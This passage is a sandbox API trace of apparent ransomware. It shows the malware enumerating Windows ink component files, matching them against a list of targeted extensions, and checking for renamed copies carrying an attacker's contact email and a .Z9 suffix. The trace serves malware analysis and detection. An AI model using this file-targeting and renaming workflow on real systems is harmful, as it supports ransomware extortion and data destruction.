	[0189.302] lstrlenW (lpString=".xlsx") returned 5
	[0189.302] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.302] lstrlenW (lpString=".ppt") returned 4
	[0189.302] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString=".zip") returned 4
	[0189.302] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString=".rar") returned 4
	[0189.302] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString=".bz2") returned 4
	[0189.302] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.302] lstrlenW (lpString=".7z") returned 3
	[0189.302] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString=".dbf") returned 4
	[0189.302] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString=".1cd") returned 4
	[0189.302] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString=".jpg") returned 4
	[0189.302] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.302] lstrlenW (lpString=".doc") returned 4
	[0189.302] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.302] lstrlenW (lpString=".docx") returned 5
	[0189.302] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.302] lstrlenW (lpString=".pdf") returned 4
	[0189.302] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString=".xls") returned 4
	[0189.302] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString=".xlsx") returned 5
	[0189.303] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.303] lstrlenW (lpString=".ppt") returned 4
	[0189.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.303] lstrlenW (lpString=".zip") returned 4
	[0189.303] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.303] lstrlenW (lpString=".rar") returned 4
	[0189.303] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.303] lstrlenW (lpString=".bz2") returned 4
	[0189.303] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.303] lstrlenW (lpString=".7z") returned 3
	[0189.303] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.303] lstrlenW (lpString=".dbf") returned 4
	[0189.303] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.303] lstrlenW (lpString=".1cd") returned 4
	[0189.303] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.303] lstrlenW (lpString=".jpg") returned 4
	[0189.303] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.303] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.303] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.304] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.304] CloseHandle (hObject=0x360) returned 1
	[0189.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20
	[0189.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.304] lstrlenW (lpString=".doc") returned 4
	[0189.304] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.304] lstrlenW (lpString=".docx") returned 5
	[0189.304] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.304] lstrlenW (lpString=".pdf") returned 4
	[0189.304] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.304] lstrlenW (lpString=".xls") returned 4
	[0189.304] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.304] lstrlenW (lpString=".xlsx") returned 5
	[0189.304] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.304] lstrlenW (lpString=".ppt") returned 4
	[0189.304] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.304] lstrlenW (lpString=".zip") returned 4
	[0189.304] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.304] lstrlenW (lpString=".rar") returned 4
	[0189.304] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.304] lstrlenW (lpString=".bz2") returned 4
	[0189.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.304] lstrlenW (lpString=".7z") returned 3
	[0189.305] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".dbf") returned 4
	[0189.305] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".1cd") returned 4
	[0189.305] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".jpg") returned 4
	[0189.305] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".doc") returned 4
	[0189.305] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.305] lstrlenW (lpString=".docx") returned 5
	[0189.305] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.305] lstrlenW (lpString=".pdf") returned 4
	[0189.305] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.305] lstrlenW (lpString=".xls") returned 4
	[0189.305] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.305] lstrlenW (lpString=".xlsx") returned 5
	[0189.305] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.305] lstrlenW (lpString=".ppt") returned 4
	[0189.305] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".zip") returned 4
	[0189.305] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.305] lstrlenW (lpString=".rar") returned 4
	[0189.305] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.305] lstrlenW (lpString=".bz2") returned 4
	[0189.305] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.305] lstrlenW (lpString=".7z") returned 3
	[0189.305] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.305] lstrlenW (lpString=".dbf") returned 4
	[0189.305] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.306] lstrlenW (lpString=".1cd") returned 4
	[0189.306] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72
	[0189.306] lstrlenW (lpString=".jpg") returned 4
	[0189.306] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.306] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.306] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.306] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10752) returned 1
	[0189.306] CloseHandle (hObject=0x360) returned 1
	[0189.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20
	[0189.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".doc") returned 4
	[0189.307] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.307] lstrlenW (lpString=".docx") returned 5
	[0189.307] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.307] lstrlenW (lpString=".pdf") returned 4
	[0189.307] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.307] lstrlenW (lpString=".xls") returned 4
	[0189.307] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.307] lstrlenW (lpString=".xlsx") returned 5
	[0189.307] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.307] lstrlenW (lpString=".ppt") returned 4
	[0189.307] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".zip") returned 4
	[0189.307] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.307] lstrlenW (lpString=".rar") returned 4
	[0189.307] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.307] lstrlenW (lpString=".bz2") returned 4
	[0189.307] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.307] lstrlenW (lpString=".7z") returned 3
	[0189.307] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".dbf") returned 4
	[0189.307] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".1cd") returned 4
	[0189.307] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".jpg") returned 4
	[0189.307] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.307] lstrlenW (lpString=".doc") returned 4
	[0189.307] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.308] lstrlenW (lpString=".docx") returned 5
	[0189.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.308] lstrlenW (lpString=".pdf") returned 4
	[0189.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.308] lstrlenW (lpString=".xls") returned 4
	[0189.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.308] lstrlenW (lpString=".xlsx") returned 5
	[0189.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.308] lstrlenW (lpString=".ppt") returned 4
	[0189.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.308] lstrlenW (lpString=".zip") returned 4
	[0189.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.308] lstrlenW (lpString=".rar") returned 4
	[0189.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.308] lstrlenW (lpString=".bz2") returned 4
	[0189.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.308] lstrlenW (lpString=".7z") returned 3
	[0189.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.308] lstrlenW (lpString=".dbf") returned 4
	[0189.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.309] lstrlenW (lpString=".1cd") returned 4
	[0189.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72
	[0189.309] lstrlenW (lpString=".jpg") returned 4
	[0189.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.309] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.309] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.309] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10752) returned 1
	[0189.309] CloseHandle (hObject=0x360) returned 1
	[0189.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20
	[0189.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72
	[0189.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72
	[0189.310] lstrlenW (lpString=".doc") returned 4
	[0189.315] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.315] lstrlenW (lpString=".docx") returned 5
	[0189.315] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.315] lstrlenW (lpString=".pdf") returned 4
	[0189.315] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.315] lstrlenW (lpString=".xls") returned 4
	[0189.315] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.316] lstrlenW (lpString=".xlsx") returned 5
	[0189.316] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.316] lstrlenW (lpString=".ppt") returned 4
	[0189.316] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72
	[0189.316] lstrlenW (lpString=".zip") returned 4
	[0189.316] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.316] lstrlenW (lpString=".rar") returned 4
	[0189.316] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.316] lstrlenW (lpString=".bz2") returned 4
	[0189.316] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.316] lstrlenW (lpString=".7z") returned 3
	[0189.316] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72
	[0189.316] lstrlenW (lpString=".dbf") returned 4
	[0189.316] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.316] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.317] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10752) returned 1
	[0189.317] CloseHandle (hObject=0x360) returned 1
	[0189.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20
	[0189.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.318] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.318] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=177664) returned 1
	[0189.318] CloseHandle (hObject=0x360) returned 1
	[0189.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20
	[0189.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.319] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.319] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.319] CloseHandle (hObject=0x360) returned 1
	[0189.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20
	[0189.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.320] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.320] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=733696) returned 1
	[0189.320] CloseHandle (hObject=0x360) returned 1
	[0189.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20
	[0189.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.321] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.321] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10752) returned 1
	[0189.321] CloseHandle (hObject=0x360) returned 1
	[0189.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20
	[0189.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
